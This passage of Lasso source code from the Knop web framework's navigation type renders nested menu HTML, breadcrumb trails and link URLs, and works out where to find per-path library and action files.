placeholders.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-template (optional string) Html template, defaults to <ul>#items#<li>#item#</li>#/items#</ul>\\n\\\n\t\t\t-class (optional string) Css class name that will be used for every navigation link\\n\\\n\t\t\t-currentclass (optional string) Css class name that will be added to the currently active navigation link (defaults to crnt)\\n\\\n\t\t\t-currentmarker (optional string) String that will be appended to menu text of currently active navigation link',\n\t\t-optional='template', -type='string',\n\t\t-optional='class', -type='string',\n\t\t-optional='currentclass', -type='string',\n\t\t-optional='currentmarker', -type='string';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t\n\t\t(local_defined: 'template') ? (self -> 'template') = #template;\n\t\t(local_defined: 'class') ? (self -> 'class') = #class;\n\t\t(local_defined: 'currentclass') ? (self -> 'currentclass') = #currentclass;\n\t\t(local_defined: 'currentmarker') ? (self -> 'currentmarker') = #currentmarker;\n\t\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'haschildren',\t-description='Returns true if nav object has children that are not all -hide.',\n\t\t-required='navitem', -type='map';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'haschildren'=#navitem >> 'children';\n\t\tif: #haschildren;\t// verify that there is at least one child that does not have -hide\n\t\t\t#haschildren=false; // assume there is no child to show\n\t\t\titerate: #navitem -> (find: 'children') -> 'navitems', (local: 'childitem');\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking ' + (#childitem -> (find: 'key')) + ', hide=' + (#childitem -> (find: 'hide')));\n\t\t\t\tif: !(#childitem -> (find: 'hide')); // found one\n\t\t\t\t\t#haschildren=true;\n\t\t\t\t\tloop_abort;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ' + #haschildren);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #haschildren;\n\t/define_tag;\n\n\tdefine_tag: 'renderhtml', -description='Called recursively to render hierarchial nav structure.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-renderpath (optional) Only render the children of the specified path (and below)\\n\\\n\t\t\t-flat (optional flag) Only render one level\\n\\\n\t\t\t-expand (optional flag) Render the entire expanded nav tree and not just the currently active branch\\n\\\n\t\t\t-basepath (optional) Internal, needed for recursive calls to get proper paths\\n\\\n\t\t\t-ancestor (optional nav) Internal, reference to the topmost object, needed for recursive calls\\n\\\n\t\t\t-xhtml (optional) XHTML valid output',\n\t\t-optional='renderpath', -copy,\n\t\t-optional='flat',\n\t\t-optional='expand',\n\t\t-optional='basepath', -copy,\n\t\t-optional='ancestor', -type='nav';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tif: !(local_defined: 'ancestor');\n\t\t\thandle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;\n\t\t\t// reset timer when called at top level\n\t\t\t// (self -> 'timer')=0; // undefined instance variable\n\t\t/if;\n\t\t\n\t\t// create reference to the topmost level nav object\n\t\tlocal: 'topself'=(local_defined: 'ancestor') ? @#ancestor | @self ;\n\t\t!(local_defined: 'ancestor') ? (#topself -> 'renderhtml_levels') = 1 | (#topself -> 'renderhtml_levels') += 1;\n\t\t\n\t\tlocal: '_flat' = (local_defined: 'flat') && #flat != false;\n\t\tlocal: '_expand' = (local_defined: 'expand') && #expand != false;\n\t\t\n\t\tlocal: 'template'=(self -> 'template' != '' ? self -> 'template' | #topself -> 'template');\n\t\tlocal: 'clientparams'=client_getparams;\n\t\t#clientparams -> (merge: client_postparams);\n\t\t\n\t\t!(local_defined: 'basepath') ? local: 'basepath'=string;\n\t\tif: #template == '';\n\t\t\t#template = '<ul>#items#<li>#item#</li>#/items#</ul>';\n\t\t/if;\n\t\tlocal: 'output'=string,\n\t\t\t'itemoutput'=string,\n\t\t\t'itemchildren'=string,\n\t\t\t'itemrow'=string,\n\t\t\t'link'=string,\n\t\t\t'linkparams'=array,\n\t\t\t'thispath'=string,\n\t\t\t'classarray'=array,\n\t\t\t'currentmarker'=string,\n\t\t\t'itemtemplate'=(string_findregexp: #template, -find='(?si)#items#(.*?)#/items#'),\n\t\t\t'itemlinkstart'=string,\n\t\t\t'itemlinkend'=string,\n\t\t\t'itemlabel'=string;\n\t\t#itemtemplate = (#itemtemplate -> size >= 2 ? #itemtemplate -> (get: 2) | string);\n\t\t\n\t\tif: (local_defined: 'renderpath') && #renderpath != '' && #renderpath != '/';\n\t\t\t// render nav for specified path\n\t\t\t#renderpath -> (removeleading: '/') & (removetrailing: '/');\n\t\t\tif: #topself -> (getnav: #renderpath) -> (find: 'children') -> type == 'nav';\n\t\t\t\treturn: @(#topself -> (getnav: #renderpath) -> (find: 'children') -> (renderhtml: -basepath=#renderpath, \n\t\t\t\t\t-ancestor=#topself, -flat=#_flat, -expand=#_expand));\n\t\t\telse;\n\t\t\t\treturn: string;\n\t\t\t/if;\n\t\t/if;\n\t\titerate: (self -> 'navitems'), (local: 'navitem');\n\t\t\tif: #navitem -> (find: 'hide');\n\t\t\t\t// do not show in navigation\n\t\t\telse;\n\t\t\t\t#itemlinkstart=string;\n\t\t\t\t#itemlabel=string;\n\t\t\t\t#itemlinkend=string;\n\t\t\t\t#itemchildren = string;\n\t\t\t\t#currentmarker=string;\n\n\t\t\t\t#thispath=#basepath + '/' + (#navitem -> (find: 'key'));\n\t\t\t\t#thispath -> (removeleading: '/');\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': thispath is ' + #thispath + ', currentpath is ' + (#topself -> 'path'));\n\t\t\t\tif: (#navitem -> (find: 'template')) != '';\n\t\t\t\t\t#itemrow = (#navitem -> (find: 'template'));\n\t\t\t\telse;\n\t\t\t\t\t#itemrow = #itemtemplate;\n\t\t\t\t/if;\n\t\t\t\t#classarray = array;\n\t\t\t\t(#topself -> 'class') != '' ? #classarray -> (insert: (#topself -> 'class'));\n\t\t\t\t(#navitem -> (find: 'class')) != '' ? #classarray -> (insert: (#navitem -> (find: 'class')));\n\t\t\t\tif: #navitem -> (find: 'disabled');\n\t\t\t\t\t#itemlinkstart='<span';\n\t\t\t\t\tif: #classarray -> size;\n\t\t\t\t\t\t#itemlinkstart += ' class=\"' + #classarray -> (join: ' ') + '\"';\n\t\t\t\t\t/if;\n\t\t\t\t\t#itemlinkstart += '>';\n\t\t\t\t\t#itemlabel=(#navitem -> (find: 'label'));\n\t\t\t\t\t#itemlinkend='</span>';\n\t\t\t\telse;\n\t\t\t\t\t/* this code is moved into ->url\n\t\t\t\t\tif: (#navitem -> (find: 'params')) -> type == 'array';\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking params for ' + #thispath + ' with ' + (#navitem -> (find: 'params')));\n\t\t\t\t\t\t// TODO: Move this to a new member tag ->linkparams: path|navitem\n\t\t\t\t\t\t#linkparams=array;\n\t\t\t\t\t\titerate: #navitem -> (find: 'params'), (local: 'param');\n\t\t\t\t\t\t\tif: #clientparams >> #param && #clientparams -> (find: #param) -> first -> type == 'pair';\n\t\t\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got pair param');\n\t\t\t\t\t\t\t\t#linkparams -> (insert: #clientparams -> (find: #param) -> first -> name = #clientparams -> (find: #param) -> first -> value);\n\t\t\t\t\t\t\telse: #clientparams >> #param;\n\t\t\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got plain param');\n\t\t\t\t\t\t\t\t#linkparams -> (insert: #clientparams -> (find: #param) -> first);\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t#link = (self -> (url: -path=#thispath, -params=self -> (linkparams: -navitem=#navitem), -topself=#topself));\n\t\t\t\t\telse;*/\n\t\t\t\t\t\t//#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': no params for ' + #thispath);\n\t\t\t\t\t\t#link = (self -> (url: -path=#thispath, -topself=#topself));\n\t\t\t\t\t///if;\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t#itemlinkstart = '<a href=\"' + #link + '\"';\n\t\t\t\t\tif: (#navitem -> (find: 'title')) != '';\n\t\t\t\t\t\t#itemlinkstart += ' title=\"' + (encode_html: (#navitem -> (find: 'title'))) + '\"';\n\t\t\t\t\t/if;\n\t\t\t\t\tif: (((#topself -> 'path') + '/') -> (beginswith: #thispath + '/'));\n\t\t\t\t\t\t#classarray -> (insert: ((#topself -> 'currentclass') != '' ? (#topself -> 'currentclass') | 'crnt') );\n\t\t\t\t\t/if;\n\t\t\t\t\tif: #classarray -> size;\n\t\t\t\t\t\t#itemlinkstart += ' class=\"' + #classarray -> (join: ' ') + '\"';\n\t\t\t\t\t/if;\n\t\t\t\t\t#itemlinkstart += '>';\n\t\t\t\t\t#itemlabel=(#navitem -> (find: 'label'));\n\t\t\t\t\tif: #thispath == (#topself -> 'path');\n\t\t\t\t\t\tif: (self -> 'currentmarker') -> type != 'null';\n\t\t\t\t\t\t\t#currentmarker = (self -> 'currentmarker');\n\t\t\t\t\t\telse: (#topself -> 'currentmarker') -> type != 'null';\n\t\t\t\t\t\t\t#currentmarker = (#topself -> 'currentmarker');\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/if;\n\t\t\t\t\t#itemlinkend = '</a>';\n\t\t\t\t\tif: ( (((#topself -> 'path') + '/') -> (beginswith: #thispath + '/')) || #_expand)\n\t\t\t\t\t\t&& self -> (haschildren: #navitem)\n\t\t\t\t\t\t&& !#_flat;\n\t\t\t\t\t\t// recursively render child items\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': begin rendering children for ' + #basepath + '/' + (#navitem -> (find: 'key')) );\n\t\t\t\t\t\t// clear debug_trace for child\n\t\t\t\t\t\t(#navitem -> (find: 'children') -> 'debug_trace') = array;\n\t\t\t\t\t\t#itemchildren += (#navitem -> (find: 'children') -> (renderhtml: -basepath=#basepath + '/' + (#navitem -> (find: 'key')), \n\t\t\t\t\t\t\t-ancestor=#topself,\n\t\t\t\t\t\t\t-flat=#_flat,\n\t\t\t\t\t\t\t-expand=#_expand));\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (merge: (#navitem -> (find: 'children') -> 'debug_trace'));\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': done rendering children');\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\tif: #itemrow >> '#link#';\n\t\t\t\t\t#itemrow -> (replace: '#link#', #itemlinkstart) \n\t\t\t\t\t\t& (replace: '#title#', #itemlabel)\t// deprecated, use #label# instead\n\t\t\t\t\t\t& (replace: '#label#', #itemlabel)\t// preferred\n\t\t\t\t\t\t& (replace: '#/link#', #itemlinkend)\n\t\t\t\t\t\t& (replace: '#children#', #itemchildren);\n\t\t\t\telse;\n\t\t\t\t\tif: #itemrow !>> '#current#';\n\t\t\t\t\t\t#itemlabel += '#current#';\n\t\t\t\t\t/if;\n\t\t\t\t\t#itemrow -> (replace: '#item#', #itemlinkstart + #itemlabel + #itemlinkend \n\t\t\t\t\t\t+ #itemchildren);\n\t\t\t\t/if;\n\t\t\t\t#itemrow -> (replace: '#current#', #currentmarker);\n\t\t\t\t#itemoutput += #itemrow;\n\t\t\t/if;\n\t\t/iterate;\n\t\t#output = (string_replaceregexp: #template, -find='(?si)#items#(.*?)#/items#', -replace=#itemoutput);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': render done in ' (self -> 'tagtime') + ' ms');\n\t\treturn: @#output;\n\n\t/define_tag;\n\n\tdefine_tag: 'renderbreadcrumb', -description='Shows the current navigation as breadcrumb trail. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-delimiter (optional) Specifies the delimiter to use between nav levels, defaults to \" > \" if not specified\\n\\\n\t\t\t-home (optional flag) Show the default navigation item (i.e. \"home\") first in the breadcrumb (unless already there).',\n\t\t-optional='delimiter',\n\t\t-optional='home',\n\t\t-optional='skipcurrent',\n\t\t-optional='plain';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'output'=array, 'path'=array;\n\t\t!(local_defined: 'delimiter') ? local: 'delimiter'=' &gt; ';\n\t\tif: (local_defined: 'home') && #home != false;\n\t\t\t// show the default navigation item first in breadcrumb\n\t\t\t\n\t\t\t// find default path\n\t\t\tif: self -> 'default' != '' && self -> pathmap >>  self -> 'default';\n\t\t\t\tlocal: 'homepath'= (self -> 'default');\n\t\t\telse;\n\t\t\t\t// use first top level nav item as default\n\t\t\t\tlocal: 'homepath'= self -> 'navitems' -> first -> (find: 'key');\n\t\t\t/if;\n\t\t\t\n\t\t\tif: !((self -> 'path') -> (beginswith: #homepath));\n\t\t\t\tif: (local_defined: 'plain') && #plain != false;\n\t\t\t\t\t#output -> (insert: (self -> (getnav: #homepath)) -> (find: 'label'));\n\t\t\t\telse;\n\t\t\t\t\t#output -> (insert: '<a href=\"' + (self -> (url: -path=#homepath)) + '\">' + (self -> (getnav: #homepath)) -> (find: 'label') + '</a>');\t\t\t\t\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t\titerate: (self -> 'patharray'), (local: 'pathitem');\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': pathitem ' #pathitem);\n\t\t\t#path -> (insert: #pathitem);\n\t\t\tif: (self -> (getnav: #path)) -> (find: 'hide');\n\t\t\t\t// do not show in navigation\n\t\t\t\tloop_abort;\n\t\t\telse;\n\t\t\t\tif: (local_defined: 'plain') && #plain != false;\n\t\t\t\t\t#output -> (insert: (self -> (getnav: #path)) -> (find: 'label'));\n\t\t\t\telse;\n\t\t\t\t\t#output -> (insert: '<a href=\"' + (self -> (url: -path=#path)) + '\">' + (self -> (getnav: #path)) -> (find: 'label') + '</a>');\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/iterate;\n\t\tif: (local_defined: 'skipcurrent') && #skipcurrent != false;\n\t\t\t#output -> removelast;\n\t\t/if;\n\t\t#output = #output -> (join: #delimiter);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\tdefine_tag: 'getnav', -description='Return reference to the current navigation object map, or for the specified path.',\n\t\t-optional='path', -copy;  \n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t!(local_defined: 'path') ? local: 'path'=(self -> 'patharray');\n\t\tif: #path -> type != 'array';\n\t\t\t#path = string: #path;\n\t\t\t#path -> (removeleading: '/') & (removetrailing: '/');\n\t\t\t#path = #path -> (split: '/');\n\t\t/if;\n\t\t(self -> pathmap) !>> (#path -> (join: '/')) ? return: map;\n\n\t\tlocal: 'nav'=@self,\n\t\t\t'navmap'=map;\n\t\tlocal: 'pathitem' = #path -> (get: 1);\n\t\tif: #nav -> keymap >> #pathitem; \n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found ' + #pathitem + ' in nav');\n\t\t\t#navmap = @((#nav -> 'navitems') -> (get: ((#nav -> keymap) -> (find: #pathitem))));\n\t\t\tif: #navmap -> type == 'map' && !(#navmap -> (find: 'disabled')) && #navmap -> (find: 'children') -> type == 'nav' && #path -> size > 1;\n\t\t\t\t// look into children level recursively - remove the path level we are at now\n\t\t\t\t#path -> (remove: 1);\n\t\t\t\treturn: @(#navmap -> (find: 'children')) -> (getnav: #path); // recursion\n\t\t\telse;\n\t\t\t\t// we are at the bottom, bail out\n\t\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\t\treturn: @#navmap;\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n\n\n\t\n\tdefine_tag: 'getargs', -description='Path arguments = the leftover when we found a matching path, to be used for keyvalue for example.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-index (optional integer) Specifies which leftover path item to return, defaults to all path items as a string',\n\t\t-optional='index', -type='integer';\n\t\tlocal: 'dotrace'=(self -> 'dotrace');\n\t\t\n\t\tlocal: 'args'=(self -> 'pathargs');\n\t\t#args == '' ? return;\n\t\tif: local_defined: 'index';\n\t\t\t#args = #args -> (split: '/');\n\t\t\tif: #args -> size >= #index;\n\t\t\t\treturn: #args -> (get: #index);\n\t\t\telse;\n\t\t\t\treturn;\n\t\t\t/if;\n\t\telse;\n\t\t\treturn: #args;\n\t\t/if;\n\t\t\n\t/define_tag;\n\t\n\tdefine_tag: 'label', -description='Returns the name of the current (or specified) nav location\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-path (optional)',\n\t\t-optional='path', -copy;\n\t\tlocal: 'dotrace'=(self -> 'dotrace');\n\t\t!(local_defined: 'path') ? local: 'path'=@(self -> 'path');\n\t\treturn: self -> (getnav: #path) -> (find: 'label');\n\t/define_tag;\n\n\tdefine_tag: 'path', -description='Returns url or key path for the current or specified location.',\n\t\t-optional='path', -copy;\t\n\t\tlocal: 'dotrace'=(self -> 'dotrace');\n\t\t!(local_defined: 'path') ? local: 'path'=@(self -> 'path');\n\t\tif: self -> (getnav: #path) -> (find: 'url') != '';\n\t\t\tlocal: 'url'=self -> (getnav: #path) -> (find: 'url');\n\t\t\t#url -> (removeleading: '/') & (removetrailing: '/');\n\t\t\treturn: #url;\n\t\telse: #path -> type == 'array';\n\t\t\treturn: @(#path -> (join: '/'));\n\t\telse;\n\t\t\treturn: @#path;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'patharray', -description='Returns current path as array.';\n\t\t\treturn: (self -> 'patharray');\n\t/define_tag;\n\n\tdefine_tag: 'actionpath', -description='Returns action path if any.';\n\t\t\treturn: (self -> 'actionpath');\n\t/define_tag;\n\n\tdefine_tag: 'linkparams', -description='Returns an array for all parameters that should be sent along with nav links',\n\t\t-required='navitem', -type='map';\n\t\tif: (#navitem -> (find: 'params')) -> type == 'array';\n\t\t\tlocal: 'linkparams'=array,\n\t\t\t\t'dotrace'=(self -> 'dotrace'),\n\t\t\t\t'clientparams'=client_getparams;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking params ' + (#navitem -> (find: 'params')));\n\t\t\t#clientparams -> (merge: client_postparams);\n\t\t\titerate: #navitem -> (find: 'params'), (local: 'param');\n\t\t\t\t\titerate(#clientparams -> find(#param), local('paraminstance'));\n\t\t\t\t\tif: #paraminstance -> type == 'pair';\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got pair param');\n\t\t\t\t\t\t#linkparams -> (insert: (#paraminstance -> name) = (#paraminstance -> value));\n\t\t\t\t\telse;\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got plain param');\n\t\t\t\t\t\t#linkparams -> (insert: #paraminstance);\n\t\t\t\t\t/if;\n\t\t\t\t/iterate;\n\t\t\t/iterate;\n\t\t\treturn: @#linkparams;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'data', -description='Returns data object that can be stored for the current nav location (or specified nav location).\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-path (optional)\\n\\\n\t\t\t-type (optional string) Force a certain return type. If the stored object doesn´t match the specified type, an empty instance of the type is returned. That way the data can be filtered by type without having to use conditionals to check the type before. ',\n\t\t-optional='path', -copy,\n\t\t-optional='type';\n\t\tlocal: 'dotrace'=(self -> 'dotrace');\n\t\t!(local_defined: 'path') ? local: 'path'=@(self -> 'path');\n\t\tif: (local_defined: 'type');\n\t\t\tif: self -> (getnav: #path) -> (find: 'data') -> type == #type;\n\t\t\t\treturn: self -> (getnav: #path) -> (find: 'data');\n\t\t\telse;\n\t\t\t\t// return empty instance of the specified type\n\t\t\t\treturn: (\\#type)->astype;\n\t\t\t/if;\n\t\telse;\n\t\t\treturn: self -> (getnav: #path) -> (find: 'data');\n\t\t/if;\n\t/define_tag;\n\n\t\n\tdefine_tag: 'url', -description='Returns full url for current path or specified path. Path parameters can be provided and overridden by \\\n\t\t\tpassing them to this tag. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-path (optional) \\n\\\n\t\t\t-params (optional) Pair array to be used in url instead of plain parameters sent to this tag\\n\\\n\t\t\t-urlargs (optional) Raw string with url parameters to append at end of url and -params\\n\\\n\t\t\t-getargs (optional flag) Add the getargs (leftover path parts) to the url\\n\\\n\t\t\t-except (optional) Array of parameter names to exclude (or single parameter name as string)\\n\\\n\t\t\t-topself (optional nav) Internal, needed to call url from renderhtml when rendering sublevels\\n\\\n\t\t\t-autoparams (optional flag) Enables the automatic passing of action_params that begin with \"-\"',\n\t\t-optional='path', -copy,\n\t\t-optional='params', -copy,\n\t\t-optional='urlargs',\n\t\t-optional='except', -copy,\n\t\t-optional='topself', -type='nav',\n\t\t-optional='autoparams';\n\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'url'=string,\n\t\t\t'urlparams'=array;\n\t\t// only getparams to not send along -action etc\n\t\tlocal: 'clientparams'=client_getparams, 'param'=null;\n\n\t\t!(local_defined: 'except') ? local: 'except'=array;\n\t\t#except -> type != 'array' ? #except = array: #except;\n\t\t#except -> insert('-session');\n\t\t!(local_defined: 'topself') ? local: 'topself'=@self;\n\t\t!(local_defined: 'params') ? local: 'params'=(params -> isa('array') ? params | array);\n\t\t!#params -> isa('array') ? #params = array(#params); // added by Jolle 101117\n\t\tif: local_defined: 'path';\n\t\t\tif: #params >> '-path';\n\t\t\t\t// -path was passed as explicit param\n\t\t\t\t#params -> (removeall: '-path');\n\t\t\telse: #params >> #path;\n\t\t\t\t// -path was passed as implicit param - shows up in params as plain value (no pair) so remove the value from params\n\t\t\t\t#params -> (removeall: #path);\n\t\t\t/if;\n\t\telse;\n\t\t\tlocal: 'path'=(#topself -> 'path');\n\t\t/if;\n\t\tlocal: 'navitem'=#topself -> getnav: #path;\n\t\tif: (#navitem -> (find: 'params')) -> type == 'array';\n\t\t\t// add parameters defined as -param for nav item\n\t\t\t#params -> (merge: (#topself -> (linkparams: -navitem=#navitem)));\n\t\t/if;\n\t\tif: #params -> isa('array');\n\t\t\t// clean up other parameters passed to he tag\n\t\t\t#params -> (removeall: '-urlargs')\n\t\t\t\t& (removeall: '-topself')\n\t\t\t\t& (removeall: '-params')\n\t\t\t\t& (removeall: '-except')\n\t\t\t\t& (removeall: '-autoparams')\n\t\t\t\t& (removeall: '-getargs');\n\t\t /if;\n\n\t\titerate: #except, (local: 'param');\n\t\t\t#params -> (removeall: #param);\n\t\t/iterate;\n\n\t\t#url = (#topself -> (path: #path)) + ((#topself -> (path: #path)) != '' ? '/');\n\t\tif: (#topself -> getargs) -> size && (local_defined: 'getargs') && #getargs != false;\n\t\t\t// for links to the current path, add the path args \n\t\t\t#url += (#topself -> getargs) + '/';\n\t\t/if;\n\t\tif: #params >> '-keyvalue';\n\t\t\t#url += (#params -> (find: '-keyvalue') -> first -> value) + '/';\n\t\t\t#params -> (removeall: '-keyvalue');\n\t\t/if;\n\t\t\n\t\titerate: (#params -> type == 'array' ? #params | array: #params), (local: 'param');\n\t\t\tif: #param -> type == 'pair';\n\t\t\t\t#urlparams -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));\n\t\t\telse: #param != '';\n\t\t\t\t#urlparams -> (insert: (encode_stricturl: #param));\n\t\t\t/if;\n\t\t/iterate;\n\t\tif: (local_defined: 'autoparams') && #autoparams != false;\n\t\t\t// add getparams that begin with -\n\t\t\titerate: #clientparams, #param;\n\t\t\t\tif: #param -> type == 'pair';\n\t\t\t\t\tif: #param -> name -> (beginswith: '-') && #except !>> #param -> name;\n\t\t\t\t\t\t#urlparams -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));\n\t\t\t\t\t/if;\n\t\t\t\telse; // just a string param (no pair)\n\t\t\t\t\tif: #param -> (beginswith: '-') && #except !>> #param;\n\t\t\t\t\t\t#urlparams -> (insert: encode_stricturl: #param);\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\t\t\n\t\tif: (#topself -> 'navmethod') == 'param';\n\t\t\t#url = './?' + #url + (#urlparams -> size || (local: 'urlargs') != '' ? '&amp;');\n\t\telse;  // path\n\t\t\t#url = (#topself -> 'root') + #url +  (#urlparams -> size || (local: 'urlargs') != '' ? '?');\n\t\t/if;\n\n\t\t#urlparams = string: (#urlparams -> (join: '&amp;'));\n\t\t// restore / in paths for looks\n\t\t#urlparams -> replace('%2f', '/');\n\t\t#url += #urlparams;\n\t\t#urlparams -> size && (local: 'urlargs') -> size ? #url += '&amp;';\n\t\t(local: 'urlargs') -> size ? #url += #urlargs;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#url;\n\t/define_tag;\n\t\n\tdefine_tag: 'filename', -description='Returns the full path to the specified type of precissing file for the current navigation. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-type (required) lib, act, cnt, cfg, actcfg',\n\t\t-required='type',\n\t\t-optional='path', -copy;\n\t\t/*\n\t\t\n\t\t-filenaming can be one of prefix, suffix or extension. \n\t\tPrefix is \"the old way\". lib_customer.inc.  This is the default if -filenaming is not specified. \n\t\tSuffix is a hybrid, for example customer_lib.inc. \n\t\tExtension is for example customer.lib\n\t\t\n\t\tThe rest is automatic. \n\t\t\n\t\t\n\t\tPossible places to look for a library file that belongs to the path \"customer/edit\" (in order of precedence):\n\t\tA) -filenaming='prefix' (default)\n\t\t1. _mod_customer/lib_customer_edit.inc \t\t// modular prefixed with module name\n\t\t2. _mod_customer/lib_edit.inc\t\t\t\t// modular\n\t\t3. _mod_customer/_library/lib_customer_edit.inc\t// modular separated, prefixed with module name\n\t\t4. _mod_customer/_library/lib_edit.inc\t\t// modular separated\n\t\t5. _library/lib_customer_edit.inc\t\t\t// collective (\"all modules together\") separated. This is the old way. \n\t\t\n\t\tB) -filenaming='suffix'\n\t\t1. _mod_customer/customer_edit_lib.inc\n\t\t2. _mod_customer/edit_lib.inc\n\t\t3. _mod_customer/_library/customer_edit_lib.inc\n\t\t4. _mod_customer/_library/edit_lib.inc\n\t\t5. _library/customer_edit_lib.inc\n\t\t\n\t\tC) -filenaming='extension'\n\t\t1. _mod_customer/customer_edit.lib\n\t\t2. _mod_customer/edit.lib\n\t\t3. _mod_customer/_library/customer_edit.lib\n\t\t4. _mod_customer/_library/edit.lib\n\t\t5. _library/customer_edit.lib\n\t\t\n\t\tThe principle is to start looking at the most specific location and then look at more and more generic locations, to be able to do the local override. \n\n\t\t*/\n\t\t\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'filenamearray'=array, \n\t\t\t'filenamearray_temp'=array,\n\t\t\t'filename'=string,\n\t\t\t'prefix'=string,\n\t\t\t'type_short'=string,\n\t\t\t'suffix'=string,\n\t\t\t'extension'=string,\n\t\t\t'typefoldermap'=(map: \n\t\t\t\t'cfg'='_config/', \n\t\t\t\t'actcfg'='_config/', \n\t\t\t\t'act'='_action/',\n\t\t\t\t'lib'='_library/',\n\t\t\t\t'cnt'='_content/'),\n\t\t\t'typefolder'=string,\n\t\t\t'basefolder'=string,\n\t\t\t'directorytree' = (self -> directorytree);\n\t\tif: #type == 'act' || #type == 'actcfg';\n\t\t\tlocal('path') -> size == 0 ? local('actionpath'=string(self -> 'actionpath')) | local('actionpath'=string(#path));\n\t\t\t#actionpath -> removeleading('/') & removetrailing('/');\n\t\t\t#actionpath == '' ? return;\n\t\t\t#filenamearray = (self -> getnav(#actionpath) -> find('filename'));\n\t\t\tif: #filenamearray  == '';\n\t\t\t\t#filenamearray=#actionpath;\n\t\t\t/if;\n\t\t\t#filenamearray = #filenamearray -> split('/');\n\t\telse;\n\t\t\tlocal('path') -> size == 0 ? local('path'=string(self -> 'path'));\n\t\t\t#path -> removeleading('/') & removetrailing('/');\n\t\t\tself -> getnav(#path) -> size == 0 ? return;\n\t\t\t#filenamearray=(self -> getnav(#path) -> find('filename'));\n\t\t\tif: #filenamearray == '';\n\t\t\t\t#filenamearray=#path;\n\t\t\t/if;\n\t\t\t#filenamearray = #filenamearray -> split('/');\n\t\t/if;\n\t\t#type =='actcfg' ? #prefix = 'cfg' | #prefix = #type;\n\t\t#type_short = #prefix;\n\t\t#typefolder=#typefoldermap -> (find: #type);\n\n\t\tselect: (self -> 'filenaming');\n\t\tcase: 'suffix';\n\t\t\t#suffix='_' + #prefix;\n\t\t\t#extension='.inc';\n\t\t\t#prefix = '';\n\t\tcase: 'extension';\n\t\t\t#extension='.' + #prefix;\n\t\t\t#suffix='';\n\t\t\t#prefix = '';\n\t\tcase; // prefix as default\n\t\t\t#prefix += '_';\n\t\t\t#extension='.inc';\n\t\t\t#suffix='';\n\t\t/select;\n\n\t\tlocal: 'findtimer'=_date_msec;\n\t\tloop: 2;\n\t\t\t#basefolder=(array: '', '_knop/') -> (get: loop_count);\n\t\t\tloop: 